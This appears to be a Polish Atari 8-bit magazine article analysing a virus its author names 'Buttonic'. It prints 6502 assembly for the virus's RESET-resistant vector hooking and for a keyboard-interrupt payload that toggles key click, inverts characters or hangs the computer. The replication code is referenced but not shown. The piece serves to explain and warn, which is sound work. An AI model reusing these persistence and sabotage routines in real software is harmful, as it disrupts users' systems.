BUTTONIC
Nie upłynęło wiele wody w rzekach od czasu ukazania się artykułu pana Janusza B. Wiśniewskiego pod tytułem "Złapaliśmy wirusa", gdy mój komputer zaczął się buntować i okazywać swe niezadowolenie: - w zależności od humoru i pogody włączał lub wyłączał dźwięk klawiatury; - w momentach najmniej odpowiednich "stawiał ekran na głowie" lub przestawał wyświetlań znaki w negatywie; - buntował się podczas nagrywania czegokolwiek na dysk; - wieszał się bezpowrotnie po użyciu klawisza RESET. Nie było cienia wątpliwości, że coś jest nie tak. Po zmaganiach ze sprzętem i oprogramowaniem wyselekcjonowałem wirusa, będącego zapewne wynikiem ewolucji osobnika zaprezentowanego przez pana Wiśniewskiego. Pozwoliłem sobie nazwać go "Buttonic". Jest to bestia o wiele bardziej przebiegła i złośliwa od swego przodka... Ale zacznijmy od początku... Po swym protoplaście "Buttonic" odziedziczył skórkę oraz narządy rozrodcze. W tej materii nic się nie zmieniło, więc ograniczę się do opisania organów podtrzymujących egzystencję wirusa oraz służących do zatruwania życia użytkownikowi ATARI. Listing z nr 10/92 TA uzupełniłem o następujące deklaracje: kbcd equ $d209 rand equ $d20a nocl equ $2db keyv equ $208 time equ $14 chct equ $2f3 crit equ $42 wait equ $c0dfZmieniła się inicjallzacja:
main equ *
* init (reset)
ldy #1
setr lda dosi,y
sta oldr,y
lda ares,y
sta dosi,y
dey
bpl setr
* 'd' entry search
seek ldx #0
dsrc lda htbs,x
cmp #'D'
beq foun
inx
inx
inx
cpx #36
bcc dsrc
rts
* trap table address
foun lda #6 page 6!
cmp htbs+2,x
beq retu
ldy #1
ttlp lda htbs+2,x
sta addr,y
lda mtad,y
sta htbs+2,x
lda keyv,y
sta ckey,y
lda akey,y
sta keyv,y
dex
dey
bpl ttlp
retu rts
Jak widać, wirus przedłuża wektory dosini oraz keyvec (wektor przerwania klawiatury). Przy ustawianiu drugiego z wektorów brakuje sekwencji rozkazów wyłączających przerwania na czas operacji, co może spowodować "skok w maliny", jeśli podczas jej wykonywania wywołane zostanie przerwanie klawiatury. Patrząc jednak z punktu widzenia wirusa, który przybył przecież aby sprawić kłopot, to wszystko jest w porządku: wektor RESET-a jest przedłużony, więc system może się już wieszać.
*--- reset
rest jsr *
oldr equ *-2
jmp seek
Po resecie "Buttonic" skacze wpierw do procedur inicjalizujących, które były zainstalowane zanim przybył. Dzięki temu mogą zostać ustawione wektory, do których później nasz wirus się przyklei. Jak wynika z analizy programu, jest on odporny na RESET.Najbardziej "złośliwą" częścią "Buttonica" jest przerwanie klawiatury (stąd nazwa wirusa).
*--- keyboard int
xkey lda kbcd
cmp rand
bne jump1
sta nocl
jump1 cmp time
bne jump2
sta chct
jump2 lda crit
beq jump3
jmp wait
jump3 jmp *
ckey equ *-2
Sprawdzane jest, czy kod wciśniętego klawisza zgadza się z wartością pobraną z odpowiednich komórek pamięci. Jeśli kbcode=rand, to wartość z kbcode wpisywana jest do rejestru nocl, co zazwyczaj powoduje wyłączenie dźwięku klawiatury. Jeśli kbcode=timer, to wartość z kbcode wpisywana jest do rejestru chrctl, odpowiadającego za wygląd znaków na ekranie. Ponadto sprawdzany jest rejestr critic - jeśli w chwili wywołania przerwania był on ustawiony, to wirus skacze do sprytnej procedurki wait, której jedynym zadaniem, zgodnie z nazwą, jest oczekiwanie na wciśnięcie klawisza RESET.Tuż przed wzorem bloku inicjalizacji dodana została jeszcze krótka tabela: *--- new int vec akey dta a(xkey) ares dta a(rest)Zastosowanie jej pozwoliło na uproszczenie programu inicjalizacji oraz ograniczenie jego długości, a w następstwie długości całego wirusa. I to by było na tyle. Pozostaje mi jedynie życzyć Czytelnikom, aby znali "Buttonica" tylko z tego artykułu. MAG(M)
|